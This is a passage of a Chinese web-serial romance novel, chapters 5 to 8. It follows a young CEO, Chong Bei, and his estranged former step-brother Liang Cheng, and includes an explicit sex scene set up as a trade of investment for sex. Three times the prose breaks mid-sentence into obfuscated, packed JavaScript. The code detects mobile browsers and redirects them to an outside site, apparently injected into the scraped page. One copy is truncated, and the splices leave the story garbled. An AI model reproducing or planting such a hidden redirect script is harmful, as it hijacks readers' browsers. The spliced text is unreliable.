顾越辙见他神色不虞,问:“梁澄回来了,你准备怎么办?” 冲北喝掉杯中剩余的红酒,回答:“什么怎么办?那都是过去的事儿了。” 顾越辙热心提议,“你俩要是能够合作这次的项目,还愁没时间旧情复燃吗?” 旧情复燃这个词用在他俩的身上,恐怕不怎么合适。 冲北耷拉着眼皮,盯着盘子里残留的蓝莓酱,心里比它还酸。他说:“什么旧情复燃,都称不上旧情,还谈什么复燃。” 顾越辙一愣,眉头微蹙, “那你这几年恋爱不谈,相亲不去,是为了什么?难道不是因为心里有人?” 这话冲北没法接。 两人实打实的感情也就不到一年,要说什么至死不渝还真谈不上。 但是,自那段儿后,冲北的确对其他人不感兴趣,无论男女,都丧失了最原始的欲望,俗称养胃。 庄汜坐在旁边,在瓜田里上蹿下跳,他不知道梁澄是谁。但顾越辙的意思,他和冲北还是老情人关系。 冲北这人挺不错,他曾经还想介绍给宋青书,可被顾越辙拦下,他没明说为什么。而现在,庄汜终于清楚原因了。 这顿饭,来得值。 庄汜跃跃欲试,想要问,夫妻合心其力断金。他用后手肘轻轻撞了撞顾越辙,拿眼神示意他,继续问。 顾越辙接收到信号,可见爱人对别人的私事如此上心,心里还是有些吃味的。但当庄汜的眼神再次袭来,再威风的将军都要缴械投降。 顾越辙按下心底不快,对冲北说:“看来是被我说中了,你对他依旧余情未了。” 庄汜兴致勃勃等待冲北的回答。 而当事人的表情很淡,连那双漂亮的小狗眼都变得黯淡无光。 他说:“ 余情未了又怎么样,他对我只有恨,我俩不‘老死不相往来’就算好的了。还谈什么余情未了,压根儿就没情。” 只言片语中提取的信息并不全面,对面的人情绪低落。 过了一会儿,庄汜想到他和顾越辙的过往,对冲北提议道:“不试试怎么知道呢?” 冲北抬眼看他,沉默了一会儿,他想……不试试怎么知道? 5. 第5章 合作虽未谈成,但顾越辙也介绍了一些可用的人脉给冲北。 三人宾主尽欢,从包厢出来。 冲北正同顾越辙说着行业内的趣事,谈天说在兴头上,脸色一变,陡然失语。 顾越辙顺着他微怔的目光看过去。 两米开外的包厢门朝外打开,门口站着一位挺拔的年轻男人,脸色微醺,衬衫领口解开,透出泛红的颈部皮肤。 顾越辙觑了眼还在发怔的冲北,不着痕迹轻轻碰了碰他的胳膊。 冲北旋即反应过来,慌乱地看了他一眼。 或是刚才谈及过往的尴尬,转眼恰好遇见正主,恍若昨日黄粱一梦,让他近‘人’情怯起来。 昨日和梁澄的私谈倒是理直气壮,今日的偶遇却带了些说不明道不破的朦胧情感。 梁澄站在门口没动,里头的人不知道走廊外发生了什么,只得停在门口说着道别话。 冲北攥着拳,看见他淡淡地点头,脸上扯着公式化的笑意。而后,昂首挺胸径直无视地路过。 庄汜落后身边二人半步,睨了眼门口气质冷淡的大帅哥,那人正好余光一瞥,两人视线对撞。 他的眼神很冷,初秋的天,冻得人心冰凉凉的。 庄汜赶忙跟上,悄悄贴在顾越辙耳边问:“那人就是梁澄?” 顾越辙朝他点点头,窃窃低语,“应该是的。上学时就不熟,不记得他长什么样了,不过看刚才冲北的反应,必定是他无疑。” 庄汜点头,又扭头望了一眼,他发现梁澄目光直愣愣地注视着冲北的背影。 * 送走欲言又止的两人,内心燥热的冲北脱掉西服,站在车外点燃了一根香烟。 香烟捻在指尖,赤红的火苗缓缓升腾缭绕的白烟,慢慢化成灰白的烟灰。 “你在等我?” 身后传来的人声令冲北手指一抖,半根烟灰飘落,扭头一看,果不其然是梁澄。 “你怎么老是神出鬼没的。”冲北盯着他,咬了一口手里的烟屁股。 梁澄绕过车身,来到他跟前。 两人之间烟雾萦绕,像透白的纱帘,把他们无形隔开。 梁澄耐心等待冲北抽完手里剩余的香烟,又看着他一脚踩扁烟头后,淡淡问:“你刚才和谁一起吃饭?” 冲北一怔,没想到他会问这个,言简意赅道,“朋友,”看他抿了一下唇,又补充一句,“大学同学。” 梁澄扬眉,疑问:“你的大学同学,不就是我的同学,我怎么不认识?” 这句话里带着一股诡异的质问,冲北皱着眉,回复:“你不认识也很正常,他是我的投资人。” 梁澄冷冷地盯着他没说话,过了一会儿,转身离开了。 高挑的背影消失在重重叠叠的车海中,冲北笑着,从裤兜里再次抽出一根香烟点燃。 鱼儿…上钩了。 * 次日,冲北接触了昨日由顾越辙牵线搭桥的几位投资人。 连轴转了一天,他疲惫地靠在后车厢柔软椅背上假寐,表面风平浪静,心里却烦躁得很,依旧想着项目的事情。 过了不知多久,汽车缓缓停下,前方传来司机的声音,“冲总,到家了。” 冲北猛地睁开眼,乘电梯上了楼。 自从接管公司后,他从家里别墅搬出,在公司附近购买了一套大平层独居。这里离CBD很近,周围许多公司高管都选择在此安家。 电梯门打开,黑色的地面上闪着一小块碎光,冲北瞅了一眼,似乎是一枚徽章。但他不感兴趣,快速转身便按了楼层键。 谈了一天事,头昏脑涨,他现在只想回家睡觉。 嘀一声,离家距离一层,电梯门竟然开了。 冲北愣住,门外站的人竟是梁澄。 梁澄冷淡地看了他一眼,慢悠悠进来,站在他身后,那块亮光突然消失了。 电梯门自动关闭,冲北扭头礼貌地问:“真巧,你到几层?” 梁澄说:“顶楼。” 冲北替他按了顶层,此时电梯门打开,他朝梁澄点点头,走出电梯。 身后金属门关闭的那一刻,他突然意识到了什么。 冲北从消防楼梯下了一层,站在楼下的防火门后,推门的手却迟疑了,直到听见嘀的一声,他单手撑开防火门,恰好同刚走出电梯的梁澄眼神对视。 冲北被迫,只得往外走,而后他看见对方掌心还没来得及攥紧的徽章,这让他想起来一些事情。 冲北明知故问:“你也住这儿?” 梁澄后知后觉地收紧五指,冷淡地“嗯”了一声。 冲北问:“不请我进去坐一坐?” 梁澄舔了一下嘴唇,“请你进去做什么?” “做客。”冲北凑近他,手心包裹他的拳头,指尖从缝隙用力插.入,却被他反手握紧。 他语气不善地问:“冲北,你到底要干嘛?” 冲北挑眉,眼睛里带着戏谑,“梁澄,你手心里攥的是什么?” * 七年前,京州市远东大饭店。 冲北十八岁的生日是在毕业旅行中度过的,所以冲霄为他补办了盛大的成年生日宴。 宴会厅内觥筹交错,服务生推着一个巨大的八层蛋糕上台,蛋糕最顶部摆放一个小小的限量版徽章,是冲北一直没收集齐的套装里的那一枚。 冲北兴奋地举着刀正准备切蛋糕,没想到冲霄挥了挥手,竟然把梁澄叫上了台。 冲北五官顿时扭曲,手臂颤动,猛力甩出紧握的蛋糕刀。颇有分量的金属刀砸向蛋糕。 巨型生日蛋糕轰然倒塌,撇下惊惶的客人,他怒不可遏冲出宴会厅。 后来发生的事情,冲北不记得了,残局自然有人收拾,而这位任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275754|182404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性妄为的小祖宗,从来不会受到责罚。 除非那件事跟梁澄有关。 * 梁澄不说话,神色漠然,手心却握得更紧。少顷,他松开掌心,把那枚徽章摊平在冲北眼前,坦然地承认,“你想的没错,就是这个。” 冲北眼瞳收紧,盯着它,果然是十八岁生日蛋糕上放着的那枚徽章。 没想到梁澄竟会把它捡回来,甚至还保存了这么多年。 冲北伸手意图明显,梁澄猛然收回手,自然地揣进裤兜。 他略显孩子气地说:“这是我的。” “……”冲北并没有同他争抢的意思,心中五味杂陈,他放下抬高的手臂,潮热的掌心蹭了蹭干燥的裤缝。 过了一会儿,他抬起眼,施舍般的语气,“那就送给你吧。” 梁澄没说话,冷脸绕过他,径直按了指纹锁,砰的一声,大门紧闭。 冲北望着那扇黑色的大门,脸上扯出苦涩的笑。而后,上前,站在门前,抬起手臂想要去敲门。 他的指节因用力而泛白,站了好久,连小腿都开始犯酸,冲北最终扭身离开进入楼梯间。 随后,身后那扇门终于被推开了一条窄窄的罅隙。 * 这次的融资把冲北搞得焦头烂额,时间紧迫,但达成初步合作意向的公司在最后关头都以风险太大为由拒绝了他。 目前,只有拥有雄厚资本的合宜仍然还在“考虑”中。 他现在十分后悔,那天同梁澄的谈判被自己主动终止。在谈判桌上,脸面这玩意儿向来是可有可无,最廉价的东西。 甘鸣拿了一摞合同进来让他签字,冲北打开黑色钢笔,一边签,一边问他合宜那边的是否有人来电。 甘鸣俯身替他翻页,回:“没有,需要我再主动去联系一下李助吗?” 锋利的钢笔尖顿了一下,在纸面留下黑色墨迹。 谈判桌下的底牌是永远不能提前亮出的,主动的一方显然损失的利益更大。可……他等不了了,这个项目必须按时进行。 冲北快速签好字,吩咐他,“你去打听一下。” 甘鸣抱着文件点头,“好的。” “打听”是一门复杂的学问,甘鸣拨通李勉的电话,陪着笑脸东扯西扯,最后被对方好心提醒,远在天边近在眼前。 “远在天边近在眼前?”冲北低声重复了这句话。 甘鸣以为他没懂,解释道:“指的是您。” 冲北仰头''横''了他一眼,他当然明白对方的意思。 可最近几次的接触,梁澄明显不是从前那个对他百依百顺的“哥哥”。 他恢复了第一次见面的冷言冷言,甚至冷脸。 面无表情的梁澄,冲北是有些怕的。 梁澄究竟想做什么?冲北摸不透。 但是……他突然想起了那枚徽章。 6. 第6章 那枚徽章,给了冲北想要搏一把的勇气。 没有给自己退却的机会,下班后,冲北抬手径直敲响了梁澄的家门。 噔噔两声,大门依旧紧闭。 冲北心脏因过度紧张而收紧,他自我调解,喘了口气,再次抬手敲门。 然后,数分钟过去,那樘门毫无动静,依然静悄悄关闭着。 冲北凑近,贴着门的耳朵并无听见任何脚步声,松了一口气的同时又感到失落,那人究竟是没在家?还是在家故意不给他开门。 前者于他尚存一线生机,后者则是直接宣判他的死刑。 手臂抬起,再再再…次作出敲门的姿势。 这时,身后传来熟悉的声音,“你怎么在这里?” 听见梁澄的声音,冲北终于松了口气,他猛然转身,说:“梁澄,我们谈谈。” 梁澄困惑地皱了下眉,没说什么,打开门,让他进了屋。 客厅里头坐着的两人隔着泾渭分明的距离。 冲北坐在单人座沙发上,而梁澄选择坐在了离他最远的多人沙发的另一侧。 这让冲北心里多少有些不舒服。 对方手背撑着下巴,拿眼睨他,也不主动出声,就那样冷飕飕地打量。 他受不了梁澄不带任何感情的视线,心尖上被什么东西纠缠着,扯着疼。 双方不知道沉默了多久,冲北主动坐到了他身旁的位置,隔着窄窄的距离,他问:“梁澄,你到底怎么想的?” 梁澄拧眉,对他的话感到意外,语焉不详地问:“冲北,你在说什么?” 冲北直截了当地问:“合宜到底要不要投资芯冲?” 梁澄神色骤降几度,冷冷道:“冲总原来是和我谈公事,那下次请来合宜聊。这个地点不合适。这里是我家,我的私人居所。” 冲北顿时白了脸,反驳道:“合宜可以谈,这里也可以谈。” 梁澄起身,抬手指着门口,冷淡道:“请回吧。” 冲北坐着还有些懵,仰头看他。 成熟男人褪去青涩的下颚角像一把开了刃的匕首,直直地对着他。 眸色森然,泛着幽幽白光,没有半分人情味。 冲北站起来,平视他,声音很柔,却笃定,“梁澄,你还喜欢我。” 梁澄眼神依旧冷淡,这句话在他脸上掀不动一丁点儿波澜,数秒后,反倒不耐烦地抿了抿唇。 而后,讽刺道:“你未免也太自信了。全世界几十亿人,我凭什么非你冲北不可,难道就仗着你有几分姿色?” 他低头凑近冲北,眼里带着浓烈的嘲讽,轻拍他的脸蛋,讥笑道:“况且冲总脸蛋上顶着的这两个黑眼圈,夙兴夜寐,哪里比得上七年前那般水灵。” “但十八岁水灵的小男孩如过江之鲫,我见都见不过来,你凭什么就这样笃定我非你不可?” “冲北,你真是可笑!” 冲北顿时脸色煞白,身体不自觉后退一步,贴在裤缝的手攥紧成拳,略长的指尖恶狠狠戳着手心嫩肉,却感受不到一丝疼痛。 冲北的手从脸颊缓缓移到喉结,恶劣地按压一下,迫使冲北抬眼看他。 两人凑得极近,看起来几乎就要吻上去。 可双方眼里没有半分情人间缱绻的温柔,皆是彼此不服输的狠毒,像两匹眼冒绿光,争夺领地的公狼。 冲北没有动,任由那只手在他身上流连。 扎进裤子的衬衫被扯了出来,那只冰冷的手钻进温热的皮肉,他生理性地颤了一下。 梁澄贴近他的耳垂,滚烫的热气灌进耳朵里,“我反悔了。你的身体还是对我那么有吸引力。要不然,我俩做个交易?” “什么交易?”冲北屈辱地问。 高温的湿唇紧贴在他殷红的耳垂,梁澄提议,“我给你投资……你把自己给我。” “小冲,好吗?” “小冲”两个字让他忍不住颤栗,梁澄挑舌情.色地咬了一下冲北发麻的耳垂,声线绵软,神魂颠倒。 过了好久,冲北心情平复下来,稍微拉开两人距离。 在梁澄面前,他绝不认输,于是笑着同意,“好呀。” 他的声音听起来很稀松平常,使得后背游走的手停了一下。 梁澄很快恢复正常的表情,仿佛方才什么都没有发生过。 他一把将冲北掼倒在柔软的沙发上,迫不及待俯身压住,凝视他的双眼,平淡道:“冲总,这次我们不谈感情,只谈钱。” 那双漂亮的小狗眼无措地眨了一下,心脏麻酥酥的,冲北鼻尖与他鼻尖相互磨蹭,柔声低语:“当然没问题…梁总。” 室内温度跃升迅速,暧昧的声响回旋往复。梁澄很凶,同七年前冲北对待他那般。 这场“折磨”持续了许久,事毕的梁澄也很无情,冷淡盯了一眼沙发上精疲力竭的人,旋即起身进了浴室。 冲北小声喘息,光滑的后背布满层层叠叠的红痕,下陷的性感腰窝处更是印着鲜红的指印。余韵结束,迎来一人独处的空虚,没有情人事后的缠绵,只剩冰冷,与他从前对待梁澄别无二致。 七年后,梁澄把一切都还了回来。 冲北眼圈湿润,他终于感受到了,原来被没有感情像垃圾一样丢掉,是这样的感受。 今天,也算他自食恶果。 安静的空间,卫生间的水声响起又消失。 冲北依旧光裸着欢爱后的身体,朝下侧脸贴着手背,他听见由远及近的脚步声,却没做出任何回应。 脚步声停了,梁澄冷冰冰的声音从头顶传来,“你怎么还没走?” 冲北疼得沉默了片刻,闷声道:“让我歇一会儿,疼。” 他听见上头的呼吸声一滞,而后响起离开的脚步声。 冲北想,他估计睡觉去了,才懒得管自己。 数秒后,那人又返回来了,他的赤身裸体上被盖上一层柔软的薄毯。 梁澄盯着他的后脑勺,发型糟乱得不成模样,比鸡窝还凌乱。 是被他抓的。 渐渐地,他的眼眸染上稠密的墨黑,有憎恶,有迷惘,更多的是自己也不懂的情绪。 冲北余光瞟到他的白色浴袍,和脚上略湿的黑色拖鞋,缓慢地侧过身,避免扯到某处火辣辣的部位。 抬眼看向他,泛红的眼眶,示弱道:“我疼,你先去睡觉吧,让我缓一缓。待会儿我自己会走的,不用你请。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275755|182404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >对方没说话,默不作声凝视他,那双冷漠的眼睛里包裹着看不清浓稠的黑。 冲北以为他不同意,于是撑起上半身,脚尖贴着地毯,艰难地起身,牵扯到某处时,疼得忍不住叫唤了一声。 额角青筋暴起,显然不是装的。 方才,梁澄做得太狠了,像八百年没开过荤的小伙子。 突然,身体悬空,合着毯子一起被梁澄抱起,轻放在了主卧的床上,然后他又离开了。 冲北换了个舒服的姿势,望向门口的时候,那人身影已经消失。 第一次做下面,果然很疼。 他趴在床上,一动不动,脑子混乱一片,想睡觉,却痛得睡不着。 身体痛,心里也痛。 不知过了多久,假寐的冲北似乎真的进入梦乡。 到了半夜,喉咙火烧一般,身体滚烫着惊醒。 他侧过脸,发现身旁睡着的虚影。 梁澄睡眠不稳,身边人醒来的下一秒,他也跟着醒了过来。 他眼神迷惘地盯着冲北,有点儿懵,看起来似乎很意外于床上还睡了另外一个人。 两人对视一会儿,冲北终于忍不住,他撑着手肘起身,沙哑道:“ 我好渴,能帮我倒杯水吗?” 薄透的月光顺着半拉的窗帘透进来,冲北脸上的驼红似有若无。 梁澄皱起眉,抬手摸了下他的额头,刹那间,高热的温度顺着指肚皮肤传递过来,他紧张地说:“你好像发烧了。” 立马掀起被角,小心翼翼倒了一杯温水,又翻出一盒退烧药,给冲北迅速喂了下去。 他单手搂着床上的人,另一只手托着杯底,用这样亲昵的姿势,喂完了整杯水。 冲北累极了,眼皮肿起,在明亮的室内睁眼显得更加困难。他半眯着双眼,说:“让我待到明天吧,我现在身体很不舒服。” 梁澄盯着他,手里的空杯攥得很紧,他的声带也很紧,喉结滑动,过了一会儿,淡淡道:“你睡吧。” 冲北闭眼,沉沉地睡下。 翌日,天际线的第一缕阳光催醒了床上的人。 冲北揉了揉被太阳照得温热的眼皮,看着陌生的天花板,头皮一紧,屁股后面也一紧。 他侧过头,发现旁边人低头仰靠在床背上,睡着了。他的脖子低垂着,落下的发丝遮掩住上半张脸,只留下刀削般的下颚角,和抿成一条直线清冷的唇。 冲北仰头盯了他许久,久到窗外的阳光再次坠落在他的眼眸,抬手遮住刺目的光,仔细瞧那人。 就在一瞬间,黑发盖住的眼皮缓慢掀起,梁澄透过发丝的间隙,看见了呆呆盯着他的某人。 “你一直盯着我,干嘛?”梁澄问,他声线低沉带着早起的微哑。 冲北被突如其来的人声吓得颤了一下,又拉扯到了极致欢愉和刺痛的部位。 梁澄看见他低下头,随即又痛苦地皱起眉头,怔了一秒后,红着耳朵下了床。 冲北那侧的床头柜上放着一支药膏,梁澄熟练地拿起它,又掀开薄被。 “你要干嘛!”冲北感到身体一凉,绷紧着脸,谨慎地望着他。 梁澄晃了晃手里那支药膏,冷脸道:“给你屁股上药。” 7. 第7章 冲北顿时红温,顺从趴下的同时整张脸几乎完全藏进了柔软的枕芯里。 梁澄俯身,看着他光裸的白皙后背排布层层叠叠的情.色痕迹,食指蘸取白色药膏,轻柔地涂抹在“患处”。 昨夜冲北睡后,他帮他涂过一次,第二次,更加得心应手。 冲北额头发热,屁股却凉悠悠的,他面颊酡红,双头抱头,正在当一只尴尬的缩头乌龟。 很快涂完,梁澄面无表情地旋紧盖子,又替他盖好被子,才扯了一张纸,擦干净手指上残留的药膏。 他听见冲北粗重的喘息声,冷淡道:“擦好药了,自己翻个身,不要憋死了。” 冲北抿了一下唇,故意同他作对似的,身体没移动半分。 梁澄黑着脸,沉默着站在床边,面对床上一动不动的人,墨黑的眼里浮现复杂的情绪。 对待被初次开发的地方,他理应多多给予善意。 梁澄无声地叹了口气,弯下腰,帮助他翻了个身。 冲北没脸看他,只好侧着脸默不作声,他抱紧胸前柔软的毯子,遮住赤裸的身体。 梁澄瞥了眼他的动作,觉得好笑。 大家都是男人,有什么好遮遮掩掩的,他又不是没看过。 现在的他比以前那个冲动的少年显然收敛了不少锋芒,甚至还懂了害羞二字。 没有人说话,明明昨夜双方已经发生了最亲密的行为,天一亮,似乎那层薄薄的砂纸仍旧难以戳破。 房间安静,冲北脸热,他听见自上传来的轻微呼吸声,甚至还能听见房间新风系统运转的工作声响。 可……他就是听不见梁澄心里的声音。 冷静了一会儿,冲北侧过头,在床头柜上发现了自己的手机。他伸长手臂去够,被半途拦截。 梁澄递给他手机,说:“今天别去公司了,我找个医生过来看看。” 冲北捏着手机,气鼓鼓地拒绝,“不需要。” 他猛力撑起身体,自然而然扯到痛处。但装作若无其事,颤抖着双腿下了床。 赤裸的身体掠过微凉的空气,皮肤泛起浅浅的鸡皮疙瘩,冲北推开卧室门,看见客厅沙发周围零散的衣物,他捡起白色浴袍,快速穿上后,回到自己家中。 简单冲洗一下,换上干净的衣物。 余光瞥到脏衣篮里不合身的白色浴袍,那是梁澄的。而他自己的衣服还留在楼下。 镜子里的人双眼红肿,耳廓泛着宿醉的红晕,眉目俊秀,眼神里却透露着浓稠的懊恼。 一时“脑热”,把两人的关系拉扯到不清不楚的地步。 可遗憾的是,这世上是没有后悔药卖的。 在床尾凳上呆坐了会儿,冲北看了一眼的时间,这个点儿司机应该快到楼下接他上班。 他动作缓慢地起身,姿势怪异地下楼。 电梯门打开,里面站了几个人,冲北努力维持住正常的姿势走进去。 电梯门关闭,几秒后,嘀一声,在楼下一层打开。 果不其然是梁澄,冲北顿时头皮发麻。 电梯门外,梁澄的视线直勾勾地锁定他,从善如流地进入电梯,很不经意地站在他旁边,他贴得很紧,半个肩膀抵住他的上半身。 颇具分量感的重力让冲北不自觉后退一步,瞥了金属反射面上的梁澄,对方也竟在盯着他看。 冲北刻意地转移了视线。 很快,电梯抵达车库,一行人鱼贯而出。 维持正常姿势的代价是减缓行进速度,冲北稍稍往外走,把主干道的路让给后头的邻居。 梁澄跟着他走在后头,不用说的默契。 两人沉默着,一直到那辆白色迈巴赫面前,梁澄终于免贵开了金口,“我和你一起去芯冲……签合同。” 冲北脚步一顿,头脑霎时充血,一股热流从下而上涌至脸颊,他两颊酡红地“嗯”了一声。 司机很有眼力见,早早就打开车门,等候着了。 冲北动作笨拙地上了车,梁澄从另一侧拉开车门,也坐了上去。 此时虽已过了早高峰,城市的车水马龙依旧繁忙,司机盯着路况的同时,时不时觑着后头一言不发的两位。 他是冲家雇佣多年的老人,自然认得坐在后头的另一位少爷是谁。 当初在冲家,冲霄曾向他们宣告要把梁澄当做冲北一样,当做他的亲儿子对待,不可以苛待半分。 可后来,也不知道发生了什么事,梁澄竟突然出了国,之后便再也没见过。 至于他突然被送出国的原因,众说纷纭。 不过,佣人们茶余饭后最终得出的最一致结论是:被接回家的私生和嫡子,显然在冲霄心里后者更为重要。一手拉扯大的儿子不高兴了,那还是果断送走私生子吧。 来自前方的探究视线昭然若揭,冲北皱了下眉,刻意咳嗽一声。 司机自然发觉老板的不悦,立即坐直身体,目不斜视了。 梁澄似乎没意识到什么,关心地问冲北,“怎么了?身体哪里不舒服?” “……”冲北看了他一眼,没说话,只是摇头。 没过多久,轿车驶入芯冲车库,抵达专用停车位。 此时已经十点过,总裁办早开始工作,甘鸣的手机上接收到汽车驶入车库的信息,便已提前抵达电梯口迎接。 金属电梯门缓缓打开,甘鸣迎上去,正要汇报关于园区项目的最新进展,看到电梯里的梁澄,猛然闭了嘴。 冲北发现甘鸣的欲言又止,就猜到是关于园区项目的事儿。 他开门见山对甘鸣道:“让合同部和法务部的人上来,今天要同合宜敲定合同。” 甘鸣神色微怔,但还是专业,很快缓过神,对他点头道:“好的。” 芯冲的总裁办公室,几乎与合宜总裁室的空间布置别无二致。 冲北把人领到沙发坐下,边去一旁的饮水机,接了两杯冷水。 水杯与奢石茶几相触,发出“啪”一声响。 梁澄翘起二郎腿坐着,仰头看了他一眼,俯身端起玻璃杯。 他很浅地抿了一口,是冰的。 这个人凌晨刚刚烧过,大早上还没吃早饭便一杯冰水灌下去,对自己身体没有一点儿爱惜。 梁澄放下杯子,语气不悦道:“没有热水吗?大清早的就让客人喝冷水?” 冲北一愣,咽下嘴里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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冲北舌尖抵触,但浓烈的奶糖迅速席卷他的口腔,很甜,他舍不得吐出来了。只能含糊不清地反驳,“我没吃上早饭怪谁?” 圆润的眼睛因生气而变得像气鼓鼓的金鱼眼,咀嚼几下软糖后,一口吞咽下去,仰头讨要,“还有吗?” 梁澄摇头,笑道:“没了。” 冲北悻悻抱怨,“你怎么只带一颗呀。” “……”梁澄没有说话,脸色微沉。 他想起冲北以前不爱吃糖果,也不爱喝加糖的咖啡。 而如今,什么都在改变。 见他沉默,冲北起身往门口走,身后的人没跟上来。他回头嚷了一句,“跟上。” 冲北一边往总裁室走,一边给甘鸣发消息,告知他两人换了地方。 身后人慢慢跟上来,冲北也放缓脚步。 坐了一上午,那个部位好像没有早晨疼了。但走了几步,那种刺痛的感觉卷土重来。 梁澄发现他的动作变慢,大步流星赶上去。 高层的公共走廊没什么职员,很安静,只听见皮鞋和地毯接触的轻微声响。 他俯身贴在冲北耳边问:“还痛不痛?” 8. 第8章 冲北耳廓顿时变得殷红,连脚步也停了一瞬。 他转头恶狠狠瞪了梁澄一眼,嘴硬道:“我好得很,痛也是你技术太烂的缘故。” 梁澄点头,嘴角微翘,礼貌地抱歉,“不好意思,我下次会进步的。” 还有下次? 冲北无语地推开总裁办公室的大门,径直仰靠在柔软的沙发上。 梁澄亦步亦趋,自来熟地坐在他旁边,从商务的黑色西服外套里掏出一支外包装熟悉的药膏。 冲北余光瞥见,屁股顿时一紧,紧张地质问道:“你要干嘛?” 他的声音微颤,对梁澄而言根本没有半点儿杀伤力。 梁然摇了摇手里的药膏,淡定陈述,“给你擦药。你不是嫌我技术好,弄疼你了。既然没办法挽回,那就只能稍微补偿一下,做好售后服务。” 冲北感觉额角的神经狠狠震了一下,还未缓过神,对方已经按着他的肩头,推倒他在沙发上。 身体被他压制,冲北不舒服地扭头大声呵斥,“梁澄你滚,放开我。我不要这里擦,这是办公室。” 梁澄并没有因为他的话而感到生气,退一步道:“那你说,你要去哪里擦药?” “你先松手。”冲北说。 梁澄松开他的肩膀,起身还没在沙发边站好,冲北猛地站起来,敏捷扭身,朝他挥了一记拳。 梁澄反应极快,后退一步,拳风从鼻尖掠过,撩起额头发丝。 他就不该对面前这个任性的人大发善心,梁澄皱眉语气不悦道:“只是擦个药而已,又不是头一回,这是激起你什么应激反应了?” 冲北没搭理他,低着头抻了抻发皱的衣摆,而后才抬起头,指着旁边的隐藏门,“去休息室里擦,甘鸣就要上楼送餐了。” 梁澄这才意识到冲北原来是害臊了,心里松快,走路的步子也轻快起来。 他跟着前面的人进入内置的休息室。 刚一进去关上门,冲北便主动解开裤扣,把裤子拉到膝盖,然后主动趴在纯白的床面上。 他的上衣和西裤是黑色的,中间那一截却与洁白的床上用品融为一体。 梁澄头皮发麻,不自然地滚了滚喉结,咽下一口水。 冲北听见背后传来明显的吞咽声,讥笑道:“大白天的发什么情?快点过来帮我擦药。” 他语气不算好,梁澄没有反驳,顺从地走了过去。 保守的白色四角内裤被轻柔褪下,饱满的臀侧还残留烂红的指印。 梁澄双眼死死盯着,甚至恶趣味地拿手比划几下,对着那些印记在半空中附上去。 做得太狠,下次得注意。 他不紧不慢地旋开盖子,指腹粘上白色膏体,清凉的药膏刚一接触肌肤,肉浪似的抖了一下。 梁澄皱了一下眉,动作愈发轻柔,白色膏状物在指腹轻轻的捻揉下慢慢变得透明,融化到皮肤里,润泽养护。 冲北秉持着不要白不要的理念,尽情享受他周到的伺候,等待对方动作停止,他随即重新扣上裤腰,像个渣男一样,没有留念,迅速起身。 “走吧,我们出去吃饭。”冲北穿上裤子立刻不认人了,语气像对待商务合作伙伴一样疏离。 梁澄没做声,默默把药膏重新放回西服的外兜,而后才说:“我洗个手,你先出去吃饭。” 冲北看了眼他被窗外透进来的阳光照得湿润的指尖,莫名其妙开始脸色发红,他别别扭扭“嗯”了一声,推开房间隐藏门。 会客区的茶几上已经摆好了两份简餐。 冲北没理还在洗手的“客人”,自顾自坐下狼吞虎咽。 梁澄出来时,茶几上只剩杯盘狼藉的现场,和动作优雅擦嘴的某人。 冲北嘴里还包着食物,腮帮子鼓鼓的,像藏食的仓鼠,可爱得很。 在见到如此可爱的某人之后,梁澄心里忍不住笑,先前的不快顿时烟消云散。 梁澄卑微地想,只要他的悲欢同自己休戚与共,那也足够了。 冲北看见梁澄默默坐下来,咀嚼的动作停了一瞬,这才觉出不好意思来。 作为主人,客人还没有开吃,自己就已经吃抹干净擦上嘴了,这是哪里的待客之道。 他做作地咳了咳,起身帮梁澄接了杯温水,放在他手边,客套道:“梁总,喝水。” 梁澄抬头,似笑非笑睨他一眼,端起陶瓷杯喝了一口,是温的。 梁澄点了点头,“多谢款待。” 冲北呵呵一笑,摆手道:“不至于,粗茶淡饭罢了。” 梁澄再次点头道:“确实,冲总拿下这个大项目竟然只请客吃盒饭,也太……” 他的语气淡淡,听不出多余的情绪。这是梁澄一贯以来的处事之道,话不说满,留有余地,让人去猜。 可冲北从来不去猜,直截了当地问:“你想要什么?” 梁澄摇头,夹了一筷子菜,优雅地送进嘴里。 冲北特烦装逼的人,梁澄以前在他面前那逆来顺受的狗样,现在拿什么乔! 易爆易怒,火气上头的下一秒,冲北猛然意识到面前这位吃着盒饭的“大佬”算是他的甲方。 顿时消了火,和颜悦色道:“晚上请梁总吃顿好的,炮凤烹龙,应有尽有。” 梁澄没胃口,再咽了两口菜,慢悠悠盖好几乎没怎么动的盒饭,恹恹道:“算了,我对那些没胃口。” 冲北“哦”了一声,反正没接茬。 他转身拿起座机,拨通内线,让甘鸣来收拾吃剩的饭菜。 * 项目投资大,高风险,合同条款没法一蹴而就。当天双方人员一直加班到深夜,只理出一个大概的意向框架。 这是梁澄回国后的第一个项目,预计也是华资合宜集团在C国本年最大的对外投资项,J国总部的意见至关重要,甚至决定了本次投资的顺利与否。 合宜是传统的家族企业,总部的当家人依旧是梁澄的爷爷梁安国, 投资意向合同传到梁安国手边的下一秒,一通越洋电话被梁澄接通。 当晚,梁澄乘红眼航班赶往J国。 * 合宜内部结构稳定,即使少了主心骨,各部门运转依然有条不紊。 